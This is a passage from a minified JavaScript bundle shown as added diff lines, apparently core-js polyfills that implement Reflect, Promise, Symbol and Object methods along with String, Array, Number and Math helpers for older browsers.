e.length, e) : a(i, e, t) + }; + if (r(i.prototype)) u.prototype = i.prototype; + return u + } + }, function (e, t, i) { + var n = i(16); + var r = i(0); + var a = i(10); + var s = i(63); + r(r.S + r.F * i(12)(function () { + Reflect.defineProperty(n.f({}, 1, { + value: 1 + }), 1, { + value: 2 + }) + }), "Reflect", { + defineProperty: function e(t, i, r) { + a(t); + i = s(i, true); + a(r); + try { + n.f(t, i, r); + return true + } catch (e) { + return false + } + } + }) + }, function (e, t, i) { + var n = i(0); + var r = i(28).f; + var a = i(10); + n(n.S, "Reflect", { + deleteProperty: function e(t, i) { + var n = r(a(t), i); + return n && !n.configurable ? false : delete t[i] + } + }) + }, function (e, t, i) { + var n = i(28); + var r = i(55); + var a = i(20); + var s = i(0); + var o = i(8); + var l = i(10); + + function u(e, t) { + var i = arguments.length < 3 ? e : arguments[2]; + var s, d; + if (l(e) === i) return e[t]; + if (s = n.f(e, t)) return a(s, "value") ? s.value : s.get !== undefined ? s.get.call(i) : undefined; + if (o(d = r(e))) return u(d, t, i) + } + s(s.S, "Reflect", { + get: u + }) + }, function (e, t, i) { + var n = i(28); + var r = i(0); + var a = i(10); + r(r.S, "Reflect", { + getOwnPropertyDescriptor: function e(t, i) { + return n.f(a(t), i) + } + }) + }, function (e, t, i) { + var n = i(0); + var r = i(55); + var a = i(10); + n(n.S, "Reflect", { + getPrototypeOf: function e(t) { + return r(a(t)) + } + }) + }, function (e, t, i) { + var n = i(0); + n(n.S, "Reflect", { + has: function e(t, i) { + return i in t + } + }) + }, function (e, t, i) { + var n = i(0); + var r = i(10); + var a = Object.isExtensible; + n(n.S, "Reflect", { + isExtensible: function e(t) { + r(t); + return a ? a(t) : true + } + }) + }, function (e, t, i) { + var n = i(0); + n(n.S, "Reflect", { + ownKeys: i(141) + }) + }, function (e, t, i) { + var n = i(0); + var r = i(10); + var a = Object.preventExtensions; + n(n.S, "Reflect", { + preventExtensions: function e(t) { + r(t); + try { + if (a) a(t); + return true + } catch (e) { + return false + } + } + }) + }, function (e, t, i) { + var n = i(16); + var r = i(28); + var a = i(55); + var s = i(20); + var o = i(0); + var l = i(37); + var u = i(10); + var d = i(8); + + function f(e, t, i) { + var o = arguments.length < 4 ? e : arguments[3]; + var c = r.f(u(e), t); + var h, m; + if (!c) { + if (d(m = a(e))) { + return f(m, t, i, o) + } + c = l(0) + } + if (s(c, "value")) { + if (c.writable === false || !d(o)) return false; + if (h = r.f(o, t)) { + if (h.get || h.set || h.writable === false) return false; + h.value = i; + n.f(o, t, h) + } else n.f(o, t, l(0, i)); + return true + } + return c.set === undefined ? false : (c.set.call(o, i), true) + } + o(o.S, "Reflect", { + set: f + }) + }, function (e, t, i) { + var n = i(0); + var r = i(103); + if (r) n(n.S, "Reflect", { + setPrototypeOf: function e(t, i) { + r.check(t, i); + try { + r.set(t, i); + return true + } catch (e) { + return false + } + } + }) + }, function (e, t, i) { + "use strict"; + var n = i(40); + var r = i(9); + var a = i(25); + var s = i(99); + var o = i(0); + var l = i(8); + var u = i(39); + var d = i(50); + var f = i(74); + var c = i(98); + var h = i(104).set; + var m = i(308)(); + var p = i(142); + var v = i(309); + var _ = i(77); + var g = i(310); + var y = "Promise"; + var b = r.TypeError; + var w = r.process; + var M = w && w.versions; + var k = M && M.v8 || ""; + var L = r[y]; + var T = s(w) == "process"; + var x = function () {}; + var S, Y, D, E; + var C = Y = p.f; + var P = !! function () { + try { + var e = L.resolve(1); + var t = (e.constructor = {})[i(11)("species")] = function (e) { + e(x, x) + }; + return (T || typeof PromiseRejectionEvent == "function") && e.then(x) instanceof t && k.indexOf("6.6") !== 0 && _.indexOf("Chrome/66") === -1 + } catch (e) {} + }(); + var A = function (e) { + var t; + return l(e) && typeof (t = e.then) == "function" ? t : false + }; + var O = function (e, t) { + if (e._n) return; + e._n = true; + var i = e._c; + m(function () { + var n = e._v; + var r = e._s == 1; + var a = 0; + var s = function (t) { + var i = r ? t.ok : t.fail; + var a = t.resolve; + var s = t.reject; + var o = t.domain; + var l, u, d; + try { + if (i) { + if (!r) { + if (e._h == 2) I(e); + e._h = 1 + } + if (i === true) l = n; + else { + if (o) o.enter(); + l = i(n); + if (o) { + o.exit(); + d = true + } + } + if (l === t.promise) { + s(b("Promise-chain cycle")) + } else if (u = A(l)) { + u.call(l, a, s) + } else a(l) + } else s(n) + } catch (e) { + if (o && !d) o.exit(); + s(e) + } + }; + while (i.length > a) s(i[a++]); + e._c = []; + e._n = false; + if (t && !e._h) j(e) + }) + }; + var j = function (e) { + h.call(r, function () { + var t = e._v; + var i = H(e); + var n, a, s; + if (i) { + n = v(function () { + if (T) { + w.emit("unhandledRejection", t, e) + } else if (a = r.onunhandledrejection) { + a({ + promise: e, + reason: t + }) + } else if ((s = r.console) && s.error) { + s.error("Unhandled promise rejection", t) + } + }); + e._h = T || H(e) ? 2 : 1 + } + e._a = undefined; + if (i && n.e) throw n.v + }) + }; + var H = function (e) { + return e._h !== 1 && (e._a || e._c).length === 0 + }; + var I = function (e) { + h.call(r, function () { + var t; + if (T) { + w.emit("rejectionHandled", e) + } else if (t = r.onrejectionhandled) { + t({ + promise: e, + reason: e._v + }) + } + }) + }; + var F = function (e) { + var t = this; + if (t._d) return; + t._d = true; + t = t._w || t; + t._v = e; + t._s = 2; + if (!t._a) t._a = t._c.slice(); + O(t, true) + }; + var z = function (e) { + var t = this; + var i; + if (t._d) return; + t._d = true; + t = t._w || t; + try { + if (t === e) throw b("Promise can't be resolved itself"); + if (i = A(e)) { + m(function () { + var n = { + _w: t, + _d: false + }; + try { + i.call(e, a(z, n, 1), a(F, n, 1)) + } catch (e) { + F.call(n, e) + } + }) + } else { + t._v = e; + t._s = 1; + O(t, false) + } + } catch (e) { + F.call({ + _w: t, + _d: false + }, e) + } + }; + if (!P) { + L = function e(t) { + d(this, L, y, "_h"); + u(t); + S.call(this); + try { + t(a(z, this, 1), a(F, this, 1)) + } catch (e) { + F.call(this, e) + } + }; + S = function e(t) { + this._c = []; + this._a = undefined; + this._s = 0; + this._d = false; + this._v = undefined; + this._h = 0; + this._n = false + }; + S.prototype = i(49)(L.prototype, { + then: function e(t, i) { + var n = C(c(this, L)); + n.ok = typeof t == "function" ? t : true; + n.fail = typeof i == "function" && i; + n.domain = T ? w.domain : undefined; + this._c.push(n); + if (this._a) this._a.push(n); + if (this._s) O(this, false); + return n.promise + }, + catch: function (e) { + return this.then(undefined, e) + } + }); + D = function () { + var e = new S; + this.promise = e; + this.resolve = a(z, e, 1); + this.reject = a(F, e, 1) + }; + p.f = C = function (e) { + return e === L || e === E ? new D(e) : Y(e) + } + } + o(o.G + o.W + o.F * !P, { + Promise: L + }); + i(53)(L, y); + i(72)(y); + E = i(36)[y]; + o(o.S + o.F * !P, y, { + reject: function e(t) { + var i = C(this); + var n = i.reject; + n(t); + return i.promise + } + }); + o(o.S + o.F * (n || !P), y, { + resolve: function e(t) { + return g(n && this === E ? L : this, t) + } + }); + o(o.S + o.F * !(P && i(73)(function (e) { + L.all(e)["catch"](x) + })), y, { + all: function e(t) { + var i = this; + var n = C(i); + var r = n.resolve; + var a = n.reject; + var s = v(function () { + var e = []; + var n = 0; + var s = 1; + f(t, false, function (t) { + var o = n++; + var l = false; + e.push(undefined); + s++; + i.resolve(t).then(function (t) { + if (l) return; + l = true; + e[o] = t; + --s || r(e) + }, a) + }); + --s || r(e) + }); + if (s.e) a(s.v); + return n.promise + }, + race: function e(t) { + var i = this; + var n = C(i); + var r = n.reject; + var a = v(function () { + f(t, false, function (e) { + i.resolve(e).then(n.resolve, r) + }) + }); + if (a.e) r(a.v); + return n.promise + } + }) + }, function (e, t, i) { + var n = i(9); + var r = i(104).set; + var a = n.MutationObserver || n.WebKitMutationObserver; + var s = n.process; + var o = n.Promise; + var l = i(51)(s) == "process"; + e.exports = function () { + var e, t, i; + var u = function () { + var n, r; + if (l && (n = s.domain)) n.exit(); + while (e) { + r = e.fn; + e = e.next; + try { + r() + } catch (n) { + if (e) i(); + else t = undefined; + throw n + } + } + t = undefined; + if (n) n.enter() + }; + if (l) { + i = function () { + s.nextTick(u) + } + } else if (a && !(n.navigator && n.navigator.standalone)) { + var d = true; + var f = document.createTextNode(""); + new a(u).observe(f, { + characterData: true + }); + i = function () { + f.data = d = !d + } + } else if (o && o.resolve) { + var c = o.resolve(undefined); + i = function () { + c.then(u) + } + } else { + i = function () { + r.call(n, u) + } + } + return function (n) { + var r = { + fn: n, + next: undefined + }; + if (t) t.next = r; + if (!e) { + e = r; + i() + } + t = r + } + } + }, function (e, t) { + e.exports = function (e) { + try { + return { + e: false, + v: e() + } + } catch (e) { + return { + e: true, + v: e + } + } + } + }, function (e, t, i) { + var n = i(10); + var r = i(8); + var a = i(142); + e.exports = function (e, t) { + n(e); + if (r(t) && t.constructor === e) return t; + var i = a.f(e); + var s = i.resolve; + s(t); + return i.promise + } + }, function (e, t, i) { + "use strict"; + var n = i(9); + var r = i(20); + var a = i(18); + var s = i(0); + var o = i(32); + var l = i(33).KEY; + var u = i(12); + var d = i(95); + var f = i(53); + var c = i(38); + var h = i(11); + var m = i(143); + var p = i(312); + var v = i(313); + var _ = i(132); + var g = i(10); + var y = i(8); + var b = i(22); + var w = i(63); + var M = i(37); + var k = i(65); + var L = i(144); + var T = i(28); + var x = i(16); + var S = i(43); + var Y = T.f; + var D = x.f; + var E = L.f; + var C = n.Symbol; + var P = n.JSON; + var A = P && P.stringify; + var O = "prototype"; + var j = h("_hidden"); + var H = h("toPrimitive"); + var I = {}.propertyIsEnumerable; + var F = d("symbol-registry"); + var z = d("symbols"); + var R = d("op-symbols"); + var N = Object[O]; + var W = typeof C == "function"; + var B = n.QObject; + var q = !B || !B[O] || !B[O].findChild; + var $ = a && u(function () { + return k(D({}, "a", { + get: function () { + return D(this, "a", { + value: 7 + }).a + } + })).a != 7 + }) ? function (e, t, i) { + var n = Y(N, t); + if (n) delete N[t]; + D(e, t, i); + if (n && e !== N) D(N, t, n) + } : D; + var V = function (e) { + var t = z[e] = k(C[O]); + t._k = e; + return t + }; + var G = W && typeof C.iterator == "symbol" ? function (e) { + return typeof e == "symbol" + } : function (e) { + return e instanceof C + }; + var U = function e(t, i, n) { + if (t === N) U(R, i, n); + g(t); + i = w(i, true); + g(n); + if (r(z, i)) { + if (!n.enumerable) { + if (!r(t, j)) D(t, j, M(1, {})); + t[j][i] = true + } else { + if (r(t, j) && t[j][i]) t[j][i] = false; + n = k(n, { + enumerable: M(0, false) + }) + } + return $(t, i, n) + } + return D(t, i, n) + }; + var X = function e(t, i) { + g(t); + var n = v(i = b(i)); + var r = 0; + var a = n.length; + var s; + while (a > r) U(t, s = n[r++], i[s]); + return t + }; + var J = function e(t, i) { + return i === undefined ? k(t) : X(k(t), i) + }; + var K = function e(t) { + var i = I.call(this, t = w(t, true)); + if (this === N && r(z, t) && !r(R, t)) return false; + return i || !r(this, t) || !r(z, t) || r(this, j) && this[j][t] ? i : true + }; + var Q = function e(t, i) { + t = b(t); + i = w(i, true); + if (t === N && r(z, i) && !r(R, i)) return; + var n = Y(t, i); + if (n && r(z, i) && !(r(t, j) && t[j][i])) n.enumerable = true; + return n + }; + var Z = function e(t) { + var i = E(b(t)); + var n = []; + var a = 0; + var s; + while (i.length > a) { + if (!r(z, s = i[a++]) && s != j && s != l) n.push(s) + } + return n + }; + var ee = function e(t) { + var i = t === N; + var n = E(i ? R : b(t)); + var a = []; + var s = 0; + var o; + while (n.length > s) { + if (r(z, o = n[s++]) && (i ? r(N, o) : true)) a.push(z[o]) + } + return a + }; + if (!W) { + C = function e() { + if (this instanceof C) throw TypeError("Symbol is not a constructor!"); + var t = c(arguments.length > 0 ? arguments[0] : undefined); + var i = function (e) { + if (this === N) i.call(R, e); + if (r(this, j) && r(this[j], t)) this[j][t] = false; + $(this, t, M(1, e)) + }; + if (a && q) $(N, t, { + configurable: true, + set: i + }); + return V(t) + }; + o(C[O], "toString", function e() { + return this._k + }); + T.f = Q; + x.f = U; + i(64).f = L.f = Z; + i(67).f = K; + i(76).f = ee; + if (a && !i(40)) { + o(N, "propertyIsEnumerable", K, true) + } + m.f = function (e) { + return V(h(e)) + } + } + s(s.G + s.W + s.F * !W, { + Symbol: C + }); + for (var te = "hasInstance,isConcatSpreadable,iterator,match,replace,search,species,split,toPrimitive,toStringTag,unscopables".split(","), ie = 0; te.length > ie;) h(te[ie++]); + for (var ne = S(h.store), re = 0; ne.length > re;) p(ne[re++]); + s(s.S + s.F * !W, "Symbol", { + for: function (e) { + return r(F, e += "") ? F[e] : F[e] = C(e) + }, + keyFor: function e(t) { + if (!G(t)) throw TypeError(t + " is not a symbol!"); + for (var i in F) + if (F[i] === t) return i + }, + useSetter: function () { + q = true + }, + useSimple: function () { + q = false + } + }); + s(s.S + s.F * !W, "Object", { + create: J, + defineProperty: U, + defineProperties: X, + getOwnPropertyDescriptor: Q, + getOwnPropertyNames: Z, + getOwnPropertySymbols: ee + }); + P && s(s.S + s.F * (!W || u(function () { + var e = C(); + return A([e]) != "[null]" || A({ + a: e + }) != "{}" || A(Object(e)) != "{}" + })), "JSON", { + stringify: function e(t) { + var i = [t]; + var n = 1; + var r, a; + while (arguments.length > n) i.push(arguments[n++]); + a = r = i[1]; + if (!y(r) && t === undefined || G(t)) return; + if (!_(r)) r = function (e, t) { + if (typeof a == "function") t = a.call(this, e, t); + if (!G(t)) return t + }; + i[1] = r; + return A.apply(P, i) + } + }); + C[O][H] || i(19)(C[O], H, C[O].valueOf); + f(C, "Symbol"); + f(Math, "Math", true); + f(n.JSON, "JSON", true) + }, function (e, t, i) { + var n = i(9); + var r = i(36); + var a = i(40); + var s = i(143); + var o = i(16).f; + e.exports = function (e) { + var t = r.Symbol || (r.Symbol = a ? {} : n.Symbol || {}); + if (e.charAt(0) != "_" && !(e in t)) o(t, e, { + value: s.f(e) + }) + } + }, function (e, t, i) { + var n = i(43); + var r = i(76); + var a = i(67); + e.exports = function (e) { + var t = n(e); + var i = r.f; + if (i) { + var s = i(e); + var o = a.f; + var l = 0; + var u; + while (s.length > l) + if (o.call(e, u = s[l++])) t.push(u) + } + return t + } + }, function (e, t, i) { + var n = i(8); + var r = i(33).onFreeze; + i(23)("freeze", function (e) { + return function t(i) { + return e && n(i) ? e(r(i)) : i + } + }) + }, function (e, t, i) { + var n = i(8); + var r = i(33).onFreeze; + i(23)("seal", function (e) { + return function t(i) { + return e && n(i) ? e(r(i)) : i + } + }) + }, function (e, t, i) { + var n = i(8); + var r = i(33).onFreeze; + i(23)("preventExtensions", function (e) { + return function t(i) { + return e && n(i) ? e(r(i)) : i + } + }) + }, function (e, t, i) { + var n = i(8); + i(23)("isFrozen", function (e) { + return function t(i) { + return n(i) ? e ? e(i) : false : true + } + }) + }, function (e, t, i) { + var n = i(8); + i(23)("isSealed", function (e) { + return function t(i) { + return n(i) ? e ? e(i) : false : true + } + }) + }, function (e, t, i) { + var n = i(8); + i(23)("isExtensible", function (e) { + return function t(i) { + return n(i) ? e ? e(i) : true : false + } + }) + }, function (e, t, i) { + var n = i(22); + var r = i(28).f; + i(23)("getOwnPropertyDescriptor", function () { + return function e(t, i) { + return r(n(t), i) + } + }) + }, function (e, t, i) { + var n = i(26); + var r = i(55); + i(23)("getPrototypeOf", function () { + return function e(t) { + return r(n(t)) + } + }) + }, function (e, t, i) { + var n = i(26); + var r = i(43); + i(23)("keys", function () { + return function e(t) { + return r(n(t)) + } + }) + }, function (e, t, i) { + i(23)("getOwnPropertyNames", function () { + return i(144).f + }) + }, function (e, t, i) { + var n = i(0); + n(n.S + n.F, "Object", { + assign: i(138) + }) + }, function (e, t, i) { + var n = i(0); + n(n.S, "Object", { + is: i(326) + }) + }, function (e, t) { + e.exports = Object.is || function e(t, i) { + return t === i ? t !== 0 || 1 / t === 1 / i : t != t && i != i + } + }, function (e, t, i) { + var n = i(0); + n(n.S, "Object", { + setPrototypeOf: i(103).set + }) + }, function (e, t, i) { + var n = i(16).f; + var r = Function.prototype; + var a = /^\s*function ([^ (]*)/; + var s = "name"; + s in r || i(18) && n(r, s, { + configurable: true, + get: function () { + try { + return ("" + this).match(a)[1] + } catch (e) { + return "" + } + } + }) + }, function (e, t, i) { + var n = i(0); + var r = i(22); + var a = i(17); + n(n.S, "String", { + raw: function e(t) { + var i = r(t.raw); + var n = a(i.length); + var s = arguments.length; + var o = []; + var l = 0; + while (n > l) { + o.push(String(i[l++])); + if (l < s) o.push(String(arguments[l])) + } + return o.join("") + } + }) + }, function (e, t, i) { + var n = i(0); + var r = i(52); + var a = String.fromCharCode; + var s = String.fromCodePoint; + n(n.S + n.F * (!!s && s.length != 1), "String", { + fromCodePoint: function e(t) { + var i = []; + var n = arguments.length; + var s = 0; + var o; + while (n > s) { + o = +arguments[s++]; + if (r(o, 1114111) !== o) throw RangeError(o + " is not a valid code point"); + i.push(o < 65536 ? a(o) : a(((o -= 65536) >> 10) + 55296, o % 1024 + 56320)) + } + return i.join("") + } + }) + }, function (e, t, i) { + "use strict"; + var n = i(0); + var r = i(332)(false); + n(n.P, "String", { + codePointAt: function e(t) { + return r(this, t) + } + }) + }, function (e, t, i) { + var n = i(41); + var r = i(42); + e.exports = function (e) { + return function (t, i) { + var a = String(r(t)); + var s = n(i); + var o = a.length; + var l, u; + if (s < 0 || s >= o) return e ? "" : undefined; + l = a.charCodeAt(s); + return l < 55296 || l > 56319 || s + 1 === o || (u = a.charCodeAt(s + 1)) < 56320 || u > 57343 ? e ? a.charAt(s) : l : e ? a.slice(s, s + 2) : (l - 55296 << 10) + (u - 56320) + 65536 + } + } + }, function (e, t, i) { + var n = i(0); + n(n.P, "String", { + repeat: i(145) + }) + }, function (e, t, i) { + "use strict"; + var n = i(0); + var r = i(17); + var a = i(105); + var s = "startsWith"; + var o = "" [s]; + n(n.P + n.F * i(106)(s), "String", { + startsWith: function e(t) { + var i = a(this, t, s); + var n = r(Math.min(arguments.length > 1 ? arguments[1] : undefined, i.length)); + var l = String(t); + return o ? o.call(i, l, n) : i.slice(n, n + l.length) === l + } + }) + }, function (e, t, i) { + "use strict"; + var n = i(0); + var r = i(17); + var a = i(105); + var s = "endsWith"; + var o = "" [s]; + n(n.P + n.F * i(106)(s), "String", { + endsWith: function e(t) { + var i = a(this, t, s); + var n = arguments.length > 1 ? arguments[1] : undefined; + var l = r(i.length); + var u = n === undefined ? l : Math.min(r(n), l); + var d = String(t); + return o ? o.call(i, d, u) : i.slice(u - d.length, u) === d + } + }) + }, function (e, t, i) { + "use strict"; + var n = i(0); + var r = i(105); + var a = "includes"; + n(n.P + n.F * i(106)(a), "String", { + includes: function e(t) { + return !!~r(this, t, a).indexOf(t, arguments.length > 1 ? arguments[1] : undefined) + } + }) + }, function (e, t, i) { + if (i(18) && /./g.flags != "g") i(16).f(RegExp.prototype, "flags", { + configurable: true, + get: i(338) + }) + }, function (e, t, i) { + "use strict"; + var n = i(10); + e.exports = function () { + var e = n(this); + var t = ""; + if (e.global) t += "g"; + if (e.ignoreCase) t += "i"; + if (e.multiline) t += "m"; + if (e.unicode) t += "u"; + if (e.sticky) t += "y"; + return t + } + }, function (e, t, i) { + i(78)("match", 1, function (e, t, i) { + return [function i(n) { + "use strict"; + var r = e(this); + var a = n == undefined ? undefined : n[t]; + return a !== undefined ? a.call(n, r) : new RegExp(n)[t](String(r)) + }, i] + }) + }, function (e, t, i) { + i(78)("replace", 2, function (e, t, i) { + return [function n(r, a) { + "use strict"; + var s = e(this); + var o = r == undefined ? undefined : r[t]; + return o !== undefined ? o.call(r, s, a) : i.call(String(s), r, a) + }, i] + }) + }, function (e, t, i) { + i(78)("split", 2, function (e, t, n) { + "use strict"; + var r = i(146); + var a = n; + var s = [].push; + var o = "split"; + var l = "length"; + var u = "lastIndex"; + if ("abbc" [o](/(b)*/)[1] == "c" || "test" [o](/(?:)/, -1)[l] != 4 || "ab" [o](/(?:ab)*/)[l] != 2 || "." [o](/(.?)(.?)/)[l] != 4 || "." [o](/()()/)[l] > 1 || "" [o](/.?/)[l]) { + var d = /()??/.exec("")[1] === undefined; + n = function (e, t) { + var i = String(this); + if (e === undefined && t === 0) return []; + if (!r(e)) return a.call(i, e, t); + var n = []; + var o = (e.ignoreCase ? "i" : "") + (e.multiline ? "m" : "") + (e.unicode ? "u" : "") + (e.sticky ? "y" : ""); + var f = 0; + var c = t === undefined ? 4294967295 : t >>> 0; + var h = new RegExp(e.source, o + "g"); + var m, p, v, _, g; + if (!d) m = new RegExp("^" + h.source + "$(?!\\s)", o); + while (p = h.exec(i)) { + v = p.index + p[0][l]; + if (v > f) { + n.push(i.slice(f, p.index)); + if (!d && p[l] > 1) p[0].replace(m, function () { + for (g = 1; g < arguments[l] - 2; g++) + if (arguments[g] === undefined) p[g] = undefined + }); + if (p[l] > 1 && p.index < i[l]) s.apply(n, p.slice(1)); + _ = p[0][l]; + f = v; + if (n[l] >= c) break + } + if (h[u] === p.index) h[u]++ + } + if (f === i[l]) { + if (_ || !h.test("")) n.push("") + } else n.push(i.slice(f)); + return n[l] > c ? n.slice(0, c) : n + } + } else if ("0" [o](undefined, 0)[l]) { + n = function (e, t) { + return e === undefined && t === 0 ? [] : a.call(this, e, t) + } + } + return [function i(r, a) { + var s = e(this); + var o = r == undefined ? undefined : r[t]; + return o !== undefined ? o.call(r, s, a) : n.call(String(s), r, a) + }, n] + }) + }, function (e, t, i) { + i(78)("search", 1, function (e, t, i) { + return [function i(n) { + "use strict"; + var r = e(this); + var a = n == undefined ? undefined : n[t]; + return a !== undefined ? a.call(n, r) : new RegExp(n)[t](String(r)) + }, i] + }) + }, function (e, t, i) { + "use strict"; + var n = i(25); + var r = i(0); + var a = i(26); + var s = i(137); + var o = i(100); + var l = i(17); + var u = i(107); + var d = i(101); + r(r.S + r.F * !i(73)(function (e) { + Array.from(e) + }), "Array", { + from: function e(t) { + var i = a(t); + var r = typeof this == "function" ? this : Array; + var f = arguments.length; + var c = f > 1 ? arguments[1] : undefined; + var h = c !== undefined; + var m = 0; + var p = d(i); + var v, _, g, y; + if (h) c = n(c, f > 2 ? arguments[2] : undefined, 2); + if (p != undefined && !(r == Array && o(p))) { + for (y = p.call(i), _ = new r; !(g = y.next()).done; m++) { + u(_, m, h ? s(y, c, [g.value, m], true) : g.value) + } + } else { + v = l(i.length); + for (_ = new r(v); v > m; m++) { + u(_, m, h ? c(i[m], m) : i[m]) + } + } + _.length = m; + return _ + } + }) + }, function (e, t, i) { + "use strict"; + var n = i(0); + var r = i(107); + n(n.S + n.F * i(12)(function () { + function e() {} + return !(Array.of.call(e) instanceof e) + }), "Array", { of: function e() { + var t = 0; + var i = arguments.length; + var n = new(typeof this == "function" ? this : Array)(i); + while (i > t) r(n, t, arguments[t++]); + n.length = i; + return n + } + }) + }, function (e, t, i) { + var n = i(0); + n(n.P, "Array", { + copyWithin: i(135) + }); + i(56)("copyWithin") + }, function (e, t, i) { + "use strict"; + var n = i(0); + var r = i(66)(5); + var a = "find"; + var s = true; + if (a in []) Array(1)[a](function () { + s = false + }); + n(n.P + n.F * s, "Array", { + find: function e(t) { + return r(this, t, arguments.length > 1 ? arguments[1] : undefined) + } + }); + i(56)(a) + }, function (e, t, i) { + "use strict"; + var n = i(0); + var r = i(66)(6); + var a = "findIndex"; + var s = true; + if (a in []) Array(1)[a](function () { + s = false + }); + n(n.P + n.F * s, "Array", { + findIndex: function e(t) { + return r(this, t, arguments.length > 1 ? arguments[1] : undefined) + } + }); + i(56)(a) + }, function (e, t, i) { + var n = i(0); + n(n.P, "Array", { + fill: i(97) + }); + i(56)("fill") + }, function (e, t, i) { + var n = i(0); + var r = i(9).isFinite; + n(n.S, "Number", { + isFinite: function e(t) { + return typeof t == "number" && r(t) + } + }) + }, function (e, t, i) { + var n = i(0); + n(n.S, "Number", { + isInteger: i(147) + }) + }, function (e, t, i) { + var n = i(0); + var r = i(147); + var a = Math.abs; + n(n.S, "Number", { + isSafeInteger: function e(t) { + return r(t) && a(t) <= 9007199254740991 + } + }) + }, function (e, t, i) { + var n = i(0); + n(n.S, "Number", { + isNaN: function e(t) { + return t != t + } + }) + }, function (e, t, i) { + var n = i(0); + n(n.S, "Number", { + EPSILON: Math.pow(2, -52) + }) + }, function (e, t, i) { + var n = i(0); + n(n.S, "Number", { + MIN_SAFE_INTEGER: -9007199254740991 + }) + }, function (e, t, i) { + var n = i(0); + n(n.S, "Number", { + MAX_SAFE_INTEGER: 9007199254740991 + }) + }, function (e, t, i) { + var n = i(0); + var r = i(148); + var a = Math.sqrt; + var s = Math.acosh; + n(n.S + n.F * !(s && Math.floor(s(Number.MAX_VALUE)) == 710 && s(Infinity) == Infinity), "Math", { + acosh: function e(t) { + return (t = +t) < 1 ? NaN : t > 94906265.62425156 ? Math.log(t) + Math.LN2 : r(t - 1 + a(t - 1) * a(t + 1)) + } + }) + }, function (e, t, i) { + var n = i(0); + var r = Math.asinh; + + function a(e) { + return !isFinite(e = +e) || e == 0 ? e : e < 0 ? -a(-e) : Math.log(e + Math.sqrt(e * e + 1)) + } + n(n.S + n.F * !(r && 1 / r(0) > 0), "Math", { + asinh: a + }) + }, function (e, t, i) { + var n = i(0); + var r = Math.atanh; + n(n.S + n.F * !(r && 1 / r(-0) < 0), "Math", { + atanh: function e(t) { + return (t = +t) == 0 ? t : Math.log((1 + t) / (1 - t)) / 2 + } + }) + }, function (e, t, i) { + var n = i(0); + var r = i(108); + n(n.S, "Math", { + cbrt: function e(t) { + return r(t = +t) * Math.pow(Math.abs(t), 1 / 3) + } + }) + }, function (e, t, i) { + var n = i(0); + n(n.S, "Math", { + clz32: function e(t) { + return (t >>>= 0) ? 31 - Math.floor(Math.log(t + .5) * Math.LOG2E) : 32 + } + }) + }, function (e, t, i) { + var n = i(0); + var r = Math.exp; + n(n.S, "Math", { + cosh: function e(t) { + return (r(t = +t) + r(-t)) / 2 + } + }) + }, function (e, t, i) { + var n = i(0); + var r = i(109); + n(n.S + n.F * (r != Math.expm1), "Math", { + expm1: r + }) + }, function (e, t, i) { + var n = i(0); + n(n.S, "Math", { + fround: i(364) + }) + }, function (e, t, i) { + var n = i(108); + var r = Math.pow; + var a = r(2, -52); + var s = r(2, -23); + var o = r(2, 127) * (2 - s); + var l = r(2, -126); + var u = function (e) { + return e + 1 / a - 1 / a + }; + e.exports = Math.fround || function e(t) { + var i = Math.abs(t); + var r = n(t); + var d, f; + if (i < l) return r * u(i / l / s) * l * s; + d = (1 + s / a) * i; + f = d - (d - i); + if (f > o || f != f) return r * Infinity; + return r * f + } + }, function (e, t, i) { + var n = i(0); + var r = Math.abs; + n(n.S, "Math", { + hypot: function e(t, i) { + var n = 0; + var a = 0; + var s = arguments.length; + var o = 0; + var l, u; + while (a < s) { + l = r(arguments[a++]); + if (o < l) { + u = o / l; + n = n * u * u + 1; + o = l + } else if (l > 0) { + u = l / o; + n += u * u + } else n += l + } + return o === Infinity ? Infinity : o * Math.sqrt(n) + } + }) + }, function (e, t, i) { + var n = i(0); + var r = Math.imul; + n(n.S + n.F * i(12)(function () { + return r(4294967295, 5) != -5 || r.length != 2 + }), "Math", { + imul: function e(t, i) { + var n = 65535; + var r = +t; + var a = +i; + var s = n & r; + var o = n & a; + return 0 | s * o + ((n & r >>> 16) * o + s * (n & a >>> 16) << 16 >>> 0) + } + }) + }, function (e, t, i) { + var n = i(0); + n(n.S, "Math", { + log1p: i(148) + }) + }, function (e, t, i) { + var n = i(0); + n(n.S, "Math", { + log10: function e(t) { + return Math.log(t) * Math.LOG10E + } + }) + }, function (e, t, i) { + var n = i(0); + n(n.S, "Math", { + log2: function e(t) { + return Math.log(t) / Math.LN2 + } + }) + }, function (e, t, i) { + var n = i(0); + n(n.S, "Math", { + sign: i(108) + }) + }, function (e, t, i) { + var n = i(0); + var r = i(109); + var a = Math.exp; + n(n.S + n.F * i(12)(function () { + return !Math.sinh(-2e-17) != -2e-17 + }), "Math", { + sinh: function e(t) { + return Math.abs(t = +t) < 1 ? (r(t) - r(-t)) / 2 : (a(t - 1) - a(-t - 1)) * (Math.E / 2) + } + }) + }, function (e, t, i) { + var n = i(0); + var r = i(109); + var a = Math.exp; + n(n.S, "Math", { + tanh: function e(t) { + var i = r(t = +t); + var n = r(-t); + return i == Infinity ? 1 : n == Infinity ? -1 : (i - n) / (a(t) + a(-t)) + } + }) + }, function (e, t, i) { + var n = i(0); + n(n.S, "Math", { + trunc: function e(t) { + return (t > 0 ? Math.floor : Math.ceil)(t) + } + }) + }, function (e, t, i) { + "use strict"; + var n = i(0); + var r = i(93)(true); + n(n.P, "Array", { + includes: function e(t) { + return r(this, t, arguments.length > 1 ? arguments[1] : undefined) + } + }); + i(56)("includes") + }, function (e, t, i) { + var n = i(0); + var r = i(149)(false); + n(n.S, "Object", { + values: function e(t) { + return r(t) + } + }) + }, function (e, t, i) { + var n = i(0); + var r = i(149)(true); + n(n.S, "Object", { + entries: function e(t) { + return r(t) + } + }) + }, function (e, t, i) { + var n = i(0); + var r = i(141); + var a = i(22); + var s = i(28); + var o = i(107); + n(n.S, "Object", { + getOwnPropertyDescriptors: function e(t) { + var i = a(t); + var n = s.f; + var l = r(i); + var u = {}; + var d = 0; + var f, c; + while (l.length > d) { + c = n(i, f = l[d++]); + if (c !== undefined) o(u, f, c) + } + return u + } + }) + }, function (e, t, i) { + "use strict"; + var n = i(0); + var r = i(150); + var a = i(77); + n(n.P + n.F * /Version\/10\.\d+(\.\d+)? Safari\//.test(a), "String", { + padStart: function e(t) { + return r(this, t, arguments.length > 1 ? arguments[1] : undefined, true) + } + }) + }, function (e, t, i) { + "use strict"; + var n = i(0); + var r = i(150); + var a = i(77); + n(n.P + n.F * /Version\/10\.\d+(\.\d+)? Safari\//.test(a), "String", { + padEnd: function e(t) 